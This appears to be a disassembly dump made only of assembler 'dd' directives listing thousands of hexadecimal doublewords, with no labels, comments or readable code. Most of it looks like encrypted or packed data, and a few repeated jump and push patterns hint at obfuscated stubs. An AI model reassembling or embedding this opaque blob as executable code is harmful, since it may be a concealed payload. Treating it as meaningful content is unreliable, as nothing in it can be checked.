		dd 0ABDB01BEh, 0D97EB7A4h, 7BB3A9BEh, 5EDB01BEh, 9D869BBCh
		dd 3C14DFF8h, 102Bh, 0A272AB7Eh, 4784EAB5h, 766A0FBEh
		dd 0EE92AACBh, 9EC0AD69h, 9B8117B9h, 0E5E4FCF9h, 69BAF9Fh
		dd 5D15B5DBh, 31F92537h, 134C395Ah, 563F5443h, 2FC89384h
		dd 433027F6h, 6C0C7FDh,	0AEC6CDDBh, 0DCC90D0Ah,	0B4D2FB96h
		dd 0DFA01E2h, 1502D4h, 0F8A04717h, 0D397CD13h, 969DE2B4h
		dd 0E2F5A475h, 5E294A17h, 6A2F3720h, 0B4D5A26Dh, 40081C7h
		dd 0A5C7EA5Dh, 4A7F9DFh, 8D4D6561h, 1DB755EDh, 3D5E7FFDh
		dd 4A61F445h, 946C01E4h, 0F9Bh,	43587F20h, 889DBA5Ah, 0C9DEF99Fh
		dd 81D3AE0h, 465B7C1Fh,	41149138h, 81584156h, 0C3988196h
		dd 4D6BFD4h, 7F1EFE13h,	0AB580339h, 0C16F09CBh,	597080BAh
		dd 61B5A2D3h, 829B2E74h, 2962DB07h, 23A06B6Ch, 273F6077h
		dd 0EEE9B067h, 528BE0CDh, 0FDCA9582h, 0A46F682Ch, 3ADCBFD7h
		dd 0AE03081Dh, 7823268h, 0D58138DBh, 0A689A1C2h, 7F18E3F4h
		dd 62B0082Ah, 55EDF478h, 77C4177h, 284047DBh, 56439384h
		dd 0AFAF4310h, 4A4249E2h, 0FC1FC2FBh, 4471FB4h,	8900000Fh
		dd 0D1BACFC8h, 16FF1403h, 57405542h, 967F9483h,	0ADBBD0C7h
		dd 0CDCA891Ch, 0F08CFB8h, 534411FAh, 9285553Eh,	0B8FE9D7Dh
		dd 0CBAB5782h, 0C740EE88h, 8F885017h, 0BD6F7C4h, 332CC8Eh
		dd 499ACB29h, 686F2AFBh, 5FF67C47h, 650248F4h, 0EFD71BA7h
		dd 0D5000008h, 0B0A772ABh, 0B363F498h, 82FA80C6h, 0F900DB07h
		dd 1C62B70Ch, 0DB0783E6h, 9DB54CECh, 2CC5CB7Dh,	4E10F30Bh
		dd 0DA2F3449h, 8545E94h, 0B22658DBh, 7DC51CEEh,	27F7C8CFh
		dd 65351830h, 0E31DA772h, 5DB0854h, 0B5D7C410h,	0BBA795DFh
		dd 5041C87h, 0B048F2BFh, 0F9F1F8E2h, 0FC1F24BCh, 4C0CE479h
		dd 0D100000Eh, 19021700h, 5E475C7Bh, 9F889DBAh,	0DEC7DCFBh
		dd 0F503183Fh, 1502D1D4h, 57401700h, 9BBC5942h,	0DAFD9D86h
		dd 46E5C5h, 0CBAB57CAh,	0C78836D0h, 0B8350017h,	0E204F1E6h
		dd 0E5956ECDh, 512E46EBh, 411750CBh, 0B8233E56h, 0A70B460Ch
		dd 8389B1Bh, 0BA990000h, 0D3597080h, 484F0E47h,	4B8B8C30h
		dd 83D2185Eh, 21D8DB07h, 0F3B2C975h, 94FC337Ah,	2C655273h
		dd 0D5A26D6Ah, 0D585BEBDh, 86514612h, 7E8398B9h, 0BC879045h
		dd 22F4D7EFh, 0C8264835h, 1740902Dh, 0A6598FD5h, 585FDB07h
		dd 4421F37h, 90D6C313h,	0E2AFD8C3h, 97CAC2C9h, 20FC1F9Bh
		dd 0D95B38Bh, 791A0000h, 0BC60495Eh, 0FB9D869Bh, 38DEC7DCh
		dd 72210A1Fh, 87425065h, 43587F1Eh, 8398BF5Ah, 0C5DAFD9Ah
		dd 81D3ADCh, 0D438928h,	13CBAB56h, 72ABCB79h, 0BA9DB5A2h
		dd 0BD12FF18h, 59704177h, 7A653BD3h, 74C7132Dh,	0CAA7BFC6h
		dd 6096DC31h, 66D35955h, 0B264475Fh, 113225F5h,	0BE29C046h
		dd 0A7E65812h, 2369BE1Bh, 0D3594CEDh, 0B8D4ECF3h, 762h
		dd 0C51106B6h, 836192D8h, 0D328DB07h, 783578Dh,	3E565DDBh
		dd 710C77Eh, 614E6F3Ch,	4C617628h, 4D4A0E47h, 97805235h
		dd 830842CCh, 2D2ADB07h, 0E9B6FCE9h, 0B0E2AFB5h, 0E7B2A577h
		dd 8EAFA86Ah, 0B7AFB676h, 0FC1FB98Ah, 0D4DAB247h, 5900000Ch
		dd 0A18A9FB8h, 0E6CFE4F3h, 27102532h, 664F6473h, 7D8BA0B7h
		dd 9DBA594Ch, 0DFF89F88h, 2334E1CAh, 6275250Eh,	88CE6D4Dh
		dd 0CBAB5552h, 0C710BE58h, 0B8350017h, 0A9DF25E6h, 0AFD35970h
		dd 36BC87A8h, 0C288349Fh, 171BA7FDh, 6C6h, 7085BA15h, 0AEA7D359h
		dd 0DF337966h, 0E5DB0782h, 0E6B8F1DEh, 82A9DF25h, 0A8AFDB07h
		dd 0C9897287h, 50C503CEh, 54B00D4h, 0DB0782CFh,	0E2ADCED5h
		dd 0E507F415h, 0D332976Ah, 0C1D68446h, 348988A0h, 9886D012h
		dd 0DB21038Ch, 0DB0792A5h, 6B83A4ABh, 0AFBBDE7Bh, 0E5DDE4E2h
		dd 0FC1FB6A6h, 24BA9227h, 0A900000Ch, 0F1DAEFE8h, 361F3423h
		dd 77607562h, 0B69FB4A3h, 0CDDBF0E7h, 0EDEAA9FCh, 2F28EFD8h
		dd 7364311Ah, 0B2A5755Eh, 0D81EBD9Dh, 0CBAB54A2h, 0C7600EA8h
		dd 0B8350017h, 6126F1E6h, 8C4EDD48h, 2C7C9E8Bh,	55F2F40Fh
		dd 0E143B53h, 1BA88D44h, 1379Dh, 17C79B00h, 0E6B83500h
		dd 2532DCF1h, 7DBE04F1h, 83DB0198h, 0ED27B17Ch,	8DB0197h
		dd 92D884EFh, 84E3F025h, 748C8B4Bh, 3C58h, 54043D00h, 6452B43h
		dd 92D8C511h, 0DB01765Dh, 0F8915C63h, 8F4D1ABFh, 0CFF0BD88h
		dd 768DC7B7h, 8FA8DB01h, 0FB327824h, 0EB24E3FFh, 0F410282Fh
		dd 0A4h, 29FEA0D9h, 3048696Eh, 17C74Ah,	0F2E5B835h, 0EFE8AA27h
		dd 30F7A724h, 0D7A46F68h, 6BABA1B6h, 32D3599Ch,	0E1F6A4DDh
		dd 599CCD03h, 0B4CCD3D3h, 11601D1h, 2916FE57h, 0DCFB9BD4h
		dd 4A2AD4C4h, 2930DB04h, 4750033Ch, 20F42D32h, 993C1F37h
		dd 25F1867Eh, 69FEF4E3h, 0B1691h, 0DDFA9B00h, 1A3DDFC8h
		dd 5B7C1C05h, 9EB95D46h, 0DAFDA089h, 9312B7C5h,	0D9C2D7C0h
		dd 1B04193Eh, 5B44597Eh, 0A7879CBBh, 538CC208h,	0F892CBABh
		dd 314C74Ah, 183FDD16h,	4168804Dh, 0A4918658h, 0DDA8AF6Bh
		dd 0E5D1F810h, 130017C7h, 4F1A3DDAh, 0F2E5B182h, 65425A27h
		dd 3B8836E8h, 2D2AECD2h, 0CA6B6973h, 6D8F94A9h,	0E9E02918h
		dd 79E6B1C2h, 0FD529CAEh, 0DB86C4DCh, 0C8000004h, 0D8C51106h
		dd 17B3592h, 47343BDBh,	7B76ACF2h, 0F73DDB01h, 0DB017BC1h
		dd 0B12C0C7h, 528C16F3h, 6DDB017Bh, 753DE954h, 0CCE3FFF4h
		dd 238h, 0B1A678B1h, 924819E6h,	0D5EDBA85h, 1056ABEFh
		dd 0D35970DAh, 0D1C1D9E0h, 0D359709Eh, 0DCEF4365h, 7F641EB7h
		dd 8252C367h, 0EDBA5C95h, 95622D2Ah, 0C4DCA974h, 6317FC5h
		dd 6437DB07h, 706E81Eh,	16E7EEDBh, 422F5047h, 614E4909h
		dd 92C97528h, 0EA45A93h, 4C19E405h, 72240D34h, 0FB5C9A65h
		dd 22F52E1Bh, 859D6A35h, 24F83186h, 8E2B1B33h, 94E2AEC6h
		dd 0A9CA958Dh, 0B64BFC1Ch, 9EADEh, 0A9AE6F00h, 0EEE9AB94h
		dd 2F28F0D9h, 7265311Ah, 0B6A1745Dh, 6F3693A1h,	0AD96ABACh
		dd 0EFD8EDEAh, 2F182D2Ah, 7353686Fh, 52588ED4h,	0C45ECBABh
		dd 17C716h, 183FDA13h, 8B68804Dh, 804B4C0Eh, 2369BEBBh
		dd 0D3596FEDh, 7C1BECF3h, 0ABC3905Bh, 0C4962590h, 97B9BED3h
		dd 639931D1h, 0ACACC4E9h, 1BA8F9E6h, 87BD0358h,	8DD3586Ch
		dd 0F0E7B586h, 142BCD8h, 0C7BA0000h, 0B8350017h, 32DCF1E6h
		dd 0BE04F125h, 0DB01987Dh, 3A8F7C83h, 198BEF4h,	0A5BDC4DBh
		dd 98043EC8h, 61FDB01h,	629BF09Bh, 91C7A5B2h, 97DB0198h
		dd 98487EC4h, 474EDB01h, 440E0E26h, 9DE3F025h, 33h, 0C511069Bh
		dd 884A83D8h, 5287778Fh, 58DB0176h, 0C2FC8651h,	0DDDB0176h
		dd 8CAE59C4h, 9404F13Ch, 0DDDDF5E7h, 0E3FFFB95h, 0AE6Ch
		dd 40185100h, 0C7593F57h, 0B8350017h, 9A7F59E5h, 0A4244347h
		dd 0B95D9683h, 0EE06D39Eh, 90567811h, 0EA975899h, 5DFDE0F8h
		dd 20F26F3Ah, 0FC2C2237h, 0DFD358CBh, 0A2B5683Fh, 25395DE8h
		dd 0ED0E85ADh, 0ED292ED8h, 0C210BA00h, 0F16DB03h, 2D2AE922h
		dd 6B6C2F18h, 0E3ADF673h, 0B68E23F4h, 8A3h, 4B607728h
		dd 90A5B262h, 0D1E6F1A7h, 102532E8h, 4E637427h,	791C8940h
		dd 0B960495Eh, 0FBA0899Eh, 3CDEC7DCh, 8726061Bh, 0AB510B41h
		dd 0C97711CBh, 0DA1056ABh, 0E0D35970h, 465108D9h, 0B396AE7Bh
		dd 0F9E2F7E0h, 24293E59h, 632E29EBh, 0C7987E96h, 0B8350017h
		dd 0CB04F1E6h, 73400B0Ch, 0F62F345Bh, 0F67A3423h, 532FBE0Bh
		dd 733A7890h, 7C000002h, 0D8C51106h, 0C6DEF99Fh, 9A3972C7h
		dd 0CDE5B27Dh, 783E9DDh, 0A577B0DBh, 0D3DA9AB2h, 0E8EFADE6h
		dd 88534417h, 3CC6A3BBh, 0DB078402h, 592433E5h,	84447AC0h
		dd 434ADB07h, 0E9B4A372h, 9372DD52h, 0CA76E1FAh, 0E3F9ED80h
		dd 20059h, 0A3E93E00h, 0DB07786Dh, 0F99B6C73h, 0BAE0C6DEh
		dd 0D3597087h, 7B68ACA9h, 8BE40426h, 5958F8ACh,	0F6C1D688h
		dd 25211129h, 2BDB06FAh, 0ECB7A074h, 0D811FE1Fh, 0FFFE1601h
		dd 0EE0314C6h, 55425505h, 0B5A7ED33h, 0D1E99688h, 73225BF4h
		dd 0B4CC9964h, 0E2CF0710h, 0D3EBECA9h, 0E42A7FD4h, 0DB0725AEh
		dd 0A595ADB4h, 0E2AF4F08h, 500F070Eh, 0D9FC1C22h, 7716C44h
		dd 25F60000h, 60341D32h, 0DF796277h, 1CBAA3B8h,	5EFDE6FBh
		dd 0B3162439h, 1F3423F2h, 5F746336h, 0A1B6A176h, 0DCF1E6B8h
		dd 0E1175DFCh, 0E7CBAB50h, 17C79F4Dh, 78BE1300h, 0D3597042h
		dd 0B2607725h, 39B693ABh, 0EEB37E99h, 3BDB6AD5h, 4901071Ch
		dd 901BA801h, 135h, 17C78Eh, 0F1E6B835h, 0F12532DCh, 987DBE04h
		dd 7C83DB01h, 39DF18B1h, 0DC16061Eh, 0F7DB0198h, 0A50A5FAh
		dd 0DB0198D4h, 0BFF5D3DAh, 0C5DB0198h, 208BA6BEh, 0F0253E74h
		dd 2703E3h, 6010000h, 92D8C511h, 0DB01765Dh, 366F5C63h
		dd 0DBA87364h, 225CE6C3h, 3DDB0176h, 450DB924h,	9CE3FFFBh
		dd 0C3h, 6717C79Ah, 39BFBFF7h, 0DC99AF8h, 0A11EE90Ah, 9D1AE5F2h
		dd 760FDAFDh, 0DC99E3Dh, 0EED1E90Ah, 6C1F922Ch,	4B5CEAE7h
		dd 0FF1F152Ah, 0E2D35964h, 68122730h, 0F43A27EFh, 0DB04134Ah
		dd 75C4950h, 0E94B21E5h, 7725B474h, 0A7C89560h,	0EEE9AC8Fh
		dd 0AB6BDF01h, 4BF3EA33h, 70230C33h, 28F3E4B7h,	55423A5Bh
		dd 92F4E3EDh, 64925FDh,	0DCE0000h, 480CF50Ah, 87513A4Fh
		dd 0C4927B90h, 6D5BED3h, 0DBEEFC11h, 0F70C0BCAh, 374C4B0Eh
		dd 798E894Eh, 0B4C9CE90h, 0B9EF35D4h, 0BFCBAB4Fh, 72AB7725h
		dd 6CE9B4A3h, 15E2ADAAh, 5AF9DCF4h, 201B58A4h, 0C9EA6089h
		dd 0C0BCBB4h, 5DF4FD1Fh, 0E69C85BCh, 0C7BBA7CEh, 0B8350017h
		dd 98DCF1E6h, 26h, 17C7DAh, 0F1E6B835h,	6CD7D226h, 4F813DDDh
		dd 554E1765h, 7FA18EAFh, 244187Ch, 244B6324h, 27E0h, 17C72200h
		dd 3BDA1300h, 6C84511Ch, 70CC058Fh, 7AED359h, 0E6B8F19Ch
		dd 415926F1h, 1302BC5Eh, 1837DB75h, 76627798h, 350017C7h
		dd 0C9B61EF7h, 7839383h, 71215ADBh, 0B6CE9B66h,	0AD02EFF6h
		dd 7833167h, 519737DBh,	327419C0h, 9D9CB4D5h, 90A5B264h
		dd 1EFF698Bh, 0BF345EC7h, 512C4A7h, 0BB1BFC3Ah,	0D5ED88CEh
		dd 5FB4E2B5h, 0B5D6E319h, 6D54DDE2h, 0F358921Ch, 66263E45h
		dd 0D150725Fh, 252E99ACh, 0B4477DC3h, 464DE2B5h, 0D50E0D25h
		dd 14FD1205h, 0E1F6A542h, 5D284916h, 0F1DE361Fh, 5DE52AABh
		dd 312930EAh, 0E44D885Eh, 101AF287h, 95000005h,	0D5BED3C4h
		dd 12FB1007h, 533C5146h, 927B9087h, 0B1BFD4C3h,	0C9CE8D18h
		dd 0B0CCBB4h, 4F480DF6h, 9681513Ah, 0BC02A181h
		dd 0CBAB4D86h, 0C744F28Ch, 0B8EE3417h, 0BED35970h, 2433E6B7h
		dd 0C7E9EE03h, 4D9246CAh, 4D6815BBh, 2C74CB30h,	4E10F30Bh
		dd 6F2DFA99h, 0AFD09D68h, 2BF617E4h, 20EBECAEh,	6236F1A3h
		dd 0C895475h, 0B87D484Fh, 3C55349Fh, 6929B823h,	34FF18BEh
		dd 2B314667h, 1BA86C67h, 6FBAh,	1106B800h, 0FF9FD8C5h
		dd 46677028h, 9796AE7Bh, 71A7ED42h, 6BD35970h, 17EED226h
		dd 0C3CA78E2h, 0BFCEBBABh, 0CDD4DB00h, 86528BE0h, 0E1F9C691h
		dd 25A559FEh, 51BEED47h, 0F3E9FE1Fh, 0DB00E0BBh, 7C106082h
		dd 8B7A7D8h, 7E4D0DF0h,	1460238h, 2136E5DBh, 3BDB8956h
		dd 9BC99C01h, 0BADBFC96h, 0F81FBCA5h, 421552Dh,	457E0000h
		dd 886E8691h, 0ECB289ABh, 247A17Ah, 0D699CF15h,	989FD358h
		dd 0DAFD9D80h, 0D7C0920Fh, 0D73F18C2h, 0FE63A4EAh, 6269DB00h
		dd 0FED30D97h, 0E1B6DB00h, 0FEAEE42Ah, 0ADB4DB00h, 9544C18Ch
		dd 0D81EB782h, 0DB00FEA2h, 6F88A1A8h, 8F8C2504h, 0A3C3DB6Dh
		dd 0D0E82C87h, 0D49E4AB5h, 2DE3FF48h, 29h, 0C511062Bh
		dd 765D92D8h, 224DB01h,	0DB525A8Ah, 64243CC3h, 0CE08925Dh
		dd 0E9DB0252h, 0F1B965D0h, 48E3FF1Fh, 0B9h, 17C746h, 0F2E5B835h
		dd 236C8E27h, 9A56EB82h, 1ABC9FB7h, 0E5B532FDh,	97E7DDF2h
		dd 5ED3592Eh, 0DFF9173Ch, 4D57E74h, 0AA774255h,	0E8EFAF92h
		dd 2F28EAD3h, 0E5312664h, 1C45B2F8h, 444BDB01h,	4490852Fh
		dd 67AD0257h, 0DB011C31h, 28183037h, 0E2ABCC78h, 518A777Eh
		dd 2730E582h, 596E8F5Ch, 0B2AAAD70h, 0FC1BA7D1h, 28A1790Eh
		dd 0AD000003h, 0EDD6EBECh, 2A13282Fh, 6B54696Eh, 0AA93A8AFh
		dd 0C9D7ECEBh, 0E1F6A500h, 2334E3CCh, 6770250Eh, 0AEA96952h
		dd 0D41AB999h, 0CBAB4B9Eh, 0AB5C0AA4h, 98B0A772h, 4F1E6B5h
		dd 500A0DCBh, 4A8B8BC3h, 6C93ABCFh, 0AFC4D383h,	0F91106C3h
		dd 59707DB3h, 0C8FE44D3h, 0CED35970h, 0F11219C7h, 5F08CB04h
		dd 0B07B9CBBh, 86CCCBE3h, 0DB017651h, 0EC855057h, 761B5197h
		dd 1A21DB01h, 76D81202h, 0DAF3DB01h, 0CB8BC46Fh, 633401CCh
		dd 0AD7A2B5h, 0FBB8F2F2h, 0C481E3FFh, 7F000000h, 350017C7h
		dd 27F2E5B8h, 59754D9Dh, 9D6E30D3h, 59752157h, 0FF2027D3h
		dd 465101EAh, 0FCD83D7Bh, 845CC90Fh, 0EA23DB01h, 95622D2Ah
		dd 2B9C63DBh, 41CE4BBh,	7E283D44h, 17503D99h, 39385047h
		dd 0AC20E4F3h, 1589ABE2h, 14B3DDA4h, 82954314h,	21F3AA6Ah
		dd 79CAB19Dh, 0E8092DA8h, 0DF7F501Dh, 71AA97B8h, 455205A2h
		dd 9F8CAD7Ah, 5641114Ah, 0AAE0BE8Bh, 0B0E2ABBCh, 816A91A9h
		dd 0CECDC5D2h, 0BFFC1BB7h, 205522Ah, 0C98A0000h, 0CD0B9CEh
		dd 4B0DF60Bh, 884E374Ch, 0C2917A8Fh, 17B2C0D5h,	0B3C8CF8Eh
		dd 0F3080FCAh, 354A4D0Ah, 788D8A4Ch, 7DB3F998h,	83CBAB4Ah
		dd 14C73BE9h, 5505EE03h, 0C7412D42h, 9C350017h,	0DBA6B163h
		dd 4313F60Eh, 13A3F54h,	0F92F7556h, 0FFD3596Fh,	0DCBFD7F8h
		dd 0DA4B843Ah, 5E18C913h, 58A7E218h, 0C0E1E8D3h, 8196D49Fh
		dd 19226855h, 1FDB00D9h, 25D24D18h, 6C6B2BBAh, 0AEE42A7Fh
		dd 0B4DB00D9h, 696E95ADh, 0DAA41247h, 0BED62375h, 0ECD93D1Ah
		dd 38947597h, 0CB0C6A5Ch, 0B636C3B3h, 353CE2A8h, 2A2DED6Ah
		dd 0A5100B5Fh, 327BC055h, 2136E3A4h, 52CF8956h,	0A592B336h
		dd 0DFAAAD6Ch, 0A6FBFA12h, 0C5D50B51h, 569CE2A8h, 0E2A8C520h
		dd 6A711F26h, 0DFD56252h, 0D4DBEA50h, 0D781BABFh, 15C5A8C0h
		dd 1DBA3702h, 0E7B22FFAh, 0F6A825F0h, 0C7C216E1h, 1DAE7D5Ch
		dd 562136E4h, 0EB567189h, 46510740h, 0EAB5A275h, 7022051Dh
		dd 0D88110CEh, 0E405F5A4h, 631BBEF7h, 0C8E6B31Eh, 3D0829B1h
		dd 87315870h, 1359468Eh, 0F1F9730Ah, 367CD1h, 6F1F973h
		dd 2027E7FFh, 1106D855h, 902EEB24h, 593E8C76h, 0C899BAF6h
		dd 6B380314h, 4EFB7653h, 528293E3h, 0B7161F65h,	88DDF9A1h
		dd 0B7B7ED33h, 0B6BDF9A1h, 0A1B7A2D8h, 23F1A8F9h, 7B9C6934h
		dd 879CA363h, 0AF9C78DDh, 0E9B4A376h, 0B7D40A50h, 0D3DAF9A1h
		dd 2532E1B2h, 29C80E0Dh, 2F014FCAh, 3EE05D28h, 7B1B0419h
		dd 0D6F8915Ch, 48CC7804h, 0D8A9BAh, 810FFF17h, 8D089B7Ch
		dd 0B4A375AEh, 0E9041CE9h, 782FEF7Eh, 19E6B1A6h, 58FAE3F8h
		dd 23F7743Fh, 41EE6934h, 0D09747D6h, 713E090Eh,	0E1363B50h
		dd 9B7C659Bh, 4C646B08h, 7F15A969h, 0AE4C47FEh,	28C18CADh
		dd 612C2BEFh, 143E7C94h, 67000000h, 3D96CC12h, 9B90089Ch
		dd 6312639Bh, 0A6BEC573h, 0C73EDCC0h, 0B9360116h, 0B633FE19h
		dd 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h, 900DD8FFh, 8502CDCAh
		dd 7CF9C4D3h, 3CF4BFD8h, 81E28952h, 4C2h, 4B85000h, 29000000h
		dd 148758C2h, 2685C24h,	89000054h, 8953243Ch, 4C381E3h
		dd 83000000h, 1C8704EBh, 34895C24h, 140A6824h, 3C8B07AEh
		dd 4C48124h, 54000000h,	8124348Bh, 4C4h, 4EC8100h, 89000000h
		dd 468F243Ch, 24348B08h, 81E18951h, 4C1h, 4C18100h, 87000000h
		dd 8B5C240Ch, 8957243Ch, 4C781E7h, 83000000h, 3C8704C7h
		dd 0C8E95C24h, 0D9FFFA56h, 2867B8EEh, 0C50307AEh, 9947E0FFh
		dd 18B650BAh, 32A926C7h, 45D17B4Ah, 0DED260D7h,	57381B2Bh
		dd 0FA1B0847h, 22881D79h, 0FA2B5C42h, 8D21148h,	95FA53B4h
		dd 5BBC5DBBh, 0F11C6099h, 0F6FB44A9h, 2D676CD6h, 212F5784h
		dd 12E8629Dh, 0E000000h, 90B48150h, 3226E61Fh, 0E6BA84E5h
		dd 35E3296Bh, 0F870F17h, 0E9000000h, 0Ah, 483605FAh, 0BA346444h
		dd 0F95B66B6h, 64D6C381h, 0D2330000h, 348BC78Bh, 2271B913h
		dd 0EE81281Ah, 26BDC1Ah, 7E9h, 1591DD00h, 82DBF451h, 3A7DC681h
		dd 0D18022E2h, 74EE816Bh, 0B164FCE4h, 890F5660h, 6, 91F5E781h
		dd 48F002Bh, 12860F13h,	0E9000000h, 0Dh, 0DE2EDE72h, 6C2DFBB2h
		dd 0BCA463D8h, 4EA8386h, 5800Fh, 81660000h, 81DBB8EFh
		dd 0FF9BD0FAh, 93850FFFh, 60FFFFFFh, 66D98B66h,	0E900F081h
		dd 85E961h, 70620000h, 0CC47790Eh, 38F3BAF5h, 0AFD666D1h
		dd 0B2979FABh, 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h
		dd 94A9B6F3h, 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh
		dd 8B204A95h, 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h
		dd 0FD91A7h, 4ACC48D1h,	713C3359h, 0DB4D5200h, 5EF357h
		dd 9DBBEFB6h, 9500BD89h, 0EFB69F89h, 0D00097BBh, 55C3B1B6h
		dd 37005271h, 0D3C20DA4h, 0E0910h, 0
		dd 0E9000000h, 1020h, 0AE2C2B68h, 5535E907h, 0A68FFFAh
		dd 0E907AE2Dh, 0FFFA552Bh, 0AE2DEB68h, 5521E907h, 2368FFFAh
		dd 0E907AE2Fh, 0FFFA5517h, 0AE2FA668h, 550DE907h, 7368FFFAh
		dd 0E907AE30h, 0FFFA5503h, 0AE311368h, 54F9E907h, 0B668FFFAh
		dd 0E907AE31h, 0FFFA54EFh, 0AE32AE68h, 54E5E907h, 6C68FFFAh
		dd 0E907AE33h, 0FFFA54DBh, 0AE345068h, 54D1E907h, 0DB68FFFAh
		dd 0E907AE35h, 0FFFA54C7h, 0AE382A68h, 54BDE907h, 368FFFAh
		dd 0E907AE39h, 0FFFA54B3h, 0EB0017C8h, 30455202h, 71869147h
		dd 0B0C5D288h, 0EE0314C7h, 19BCE9E0h, 5900E9FEh, 9B40293Eh
		dd 0DC7E677Ch, 27C6A6BBh, 0AB46ABE1h, 6917B1CBh, 350017C7h
		dd 0DCF1E6B8h, 0DCFB9ED7h, 463720C4h, 282AB062h, 7B6889E0h
		dd 196F435h, 0E127FADBh, 0DB0197ABh, 0BE89AAB1h, 196FA34h
		dd 91FC15DBh, 0F024ADE5h, 3774E3h, 6720000h, 92D8C511h
		dd 0DB01765Dh, 144A9063h, 1ADB0176h, 80974213h,	0D00A945Fh
		dd 0EBDB0176h, 0F7BB67D2h, 67E3FFFBh, 0F13E2945h, 5F302BCFh
		dd 67839BBCh, 0CCh, 17C765h, 1B3CDA13h,	8E6B8350h, 8A554211h
		dd 0FF9A4D0Dh, 1F400DD8h, 5E99BB54h, 0DE9F26FCh, 5505E800h
		dd 6CFA3076h, 4900D359h, 4C6D8E89h, 71F24137h, 80B9D359h
		dd 0C3A6BED9h, 0DE170413h, 0DD041C3Bh, 6A3522F4h, 9D3B2B2Ch
		dd 0C1E2AF7Ah, 97D98ED4h, 0D8DFDB01h, 0D83C19C3h, 478EA5EBh
		dd 8D94E2ACh, 0B0F64BA0h, 0E2AC477Ah, 7E617980h, 76CBB8DFh
		dd 0AC46FA30h, 0E1F900E2h, 1502D1BAh, 1B43A31Dh, 0B1891EFCh
		dd 0D9Ah, 0C7DCFB9Ch, 4193EDEh,	455A7D1Bh, 8499BE5Ch, 0CADFF89Bh
		dd 0C5980DBCh, 5D4BDD2h, 4714FD12h, 80523B50h, 3A28297h
		dd 0AB4487BDh, 45F38DCBh, 0EE0314C7h, 55425505h, 945F781Ch
		dd 9C88AFC7h, 0D8C51106h, 1765D92h, 915C63DBh, 176CD07h
		dd 0E9EEB0DBh, 32F5A11Eh, 87527364h, 7F4A4D0Ah,	0E752C7B2h
		dd 0EB566F08h, 45520740h, 0FB652D2Dh, 0BABCE3FFh, 0BA000000h
		dd 350017C7h, 27F2E5B8h, 59754E9Dh, 766131D3h, 0B1A67861h
		dd 67AFA8E6h, 9A7F347Ah, 2446DB01h, 0F2DF3517h,	7B3B5313h
		dd 0A0B55F74h, 0F9328774h, 3020385Fh, 0E2AC4F08h, 0B5DD6E0Eh
		dd 1832B7A5h, 7CB50AF7h, 0BDA0B8DFh, 0FBE4F91Eh, 983A7358h
		dd 9E7B47Fh, 0E2ABC1D3h, 0B9B1D2D9h, 0FC1BC561h, 0BB23FB90h
		dd 0BD00000Ch, 0FDE6FB1Ch, 3A23385Fh, 7B64799Eh, 0BAA3B8DFh
		dd 0D9E7FC1Bh, 0F1E6B5F0h, 3324F3DCh, 7760351Eh, 0BED97962h
		dd 0E42AC9A9h, 0CBAB43AEh, 0C76C1AB4h, 5EE0314h, 282D4255h
		dd 55E7B1D3h, 446EE3AFh, 58FD3066h, 422F36D3h, 58FDC6FCh
		dd 0ADC5CCD3h, 17C7C7h,	0F1E6B835h, 3225F3DCh, 0FF5E2345h
		dd 23CDC226h, 0E1B12E0Bh, 0AD009F6h, 7D9A3C0Dh,	0A6CDE5B2h
		dd 40D588B9h, 4061A794h, 46DB0162h, 7919523Fh, 0C9CE8D5Eh
		dd 0DE1931FEh, 8B93D710h, 0B81CF9D2h, 9AB085CBh, 5577DA33h
		dd 3ECA4002h, 282FEF6Fh, 282FEF07h, 0DE361F5Dh,	768BABF1h
		dd 3052E1DFh, 71B6C7EEh, 0FABAD2C3h, 5CB106F3h,	98637423h
		dd 52B7EDCBh, 0B6BDE1E0h, 0FC1BBB9Eh, 3B5CFEE7h, 0CF74FD43h
		dd 4F27BCFDh, 0BDAh, 71C3BDCh, 44597E1Eh, 859ABD5Bh, 0C4D9FE9Ch
		dd 0A1F38DBh, 5D8CDFCh,	4514FD12h, 87543D52h, 0C0927B90h
		dd 43E2C2D7h, 0AB43C7FDh, 8533CDCBh, 895017C7h,	64A26D8Eh
		dd 0E13623F3h, 7010468Ch, 5F16D359h, 657D9EB9h,	1A2A875h
		dd 92A7AEDBh, 38426B8Dh, 62E0010Ah, 0A8442A8h, 728AEE29h
		dd 0A08D49CEh, 0C3C3294Bh, 1C4DBB8Bh, 0FE6B1404h, 6A71E2A9h
		dd 0FEDB159Fh, 0DDF6E2A9h, 738CC672h, 3955EB07h, 53000000h
		dd 0B1A672ABh, 0B460F599h, 0BE9481C7h, 225BDB01h, 0CB986374h
		dd 0FFECF3B3h, 0F10611C6h, 1BEC3FBh, 0E3F4A6DBh, 2730E5CEh
		dd 53A1C35Ch, 3E281B4Fh, 1B337189h, 7500000Bh, 0D8C51106h
		dd 8A8D4A83h, 9AA68272h, 0CACDB07h, 1BA7ACDFh, 0C0ACE34Fh
		dd 581C530Dh, 3CCB74E4h, 496A3909h, 50023B28h, 0C6FF357Bh
		dd 0FE05DB07h, 3FDFC8DDh, 60F4D18h, 4E9BE1CEh, 54E2B5F1h
		dd 7727604Dh, 0B0624B60h, 0F79727F7h, 26D6BF64h, 2AF51637h
		dd 5FFB6BECh, 0B3A06D38h, 0B5B5376Dh, 15363DE2h, 0E661E228h
		dd 6067EA5Dh, 4DE0CE68h, 5C34C9E4h, 0AA2h, 0CFE4F3A4h
		dd 0C2136E6h, 4D627523h, 8CA1B664h, 0D2E7F0A3h,	0FDA005C4h
		dd 3DDCC5DAh, 7F1C051Ah, 0B85A4358h, 0BAA8A9Fh,	0AB418FC5h
		dd 4DFB95CBh, 597080BAh, 61B5A2D3h, 99E92E74h, 1CEFDB07h
		dd 79AA0D6h, 2BEFA6DBh,	7394612Ch, 6A2C6552h, 0AF6F586Dh
		dd 0EF44DDA8h, 0F42D2CCDh, 35132EB2h, 0DB07BCFFh, 42E6FE05h
		dd 0CE1401D5h, 0E2AFF001h, 0CCCB8FC8h, 0F5EDF4B4h, 0FC1FEA43h
		dd 1F01D96Eh, 2100000Ah, 69526770h, 0AE97ACABh,	0EFD8EDEAh
		dd 2E172C2Bh, 4553686Fh, 65722184h, 0A7B06750h,	0EBECA992h
		dd 2A2DEDD6h, 50963515h, 0CBAB411Ah, 0C7D88620h, 0B8350017h
		dd 2FEC25E6h, 70144A28h, 7A1AD359h, 4A55628Dh, 698AABACh
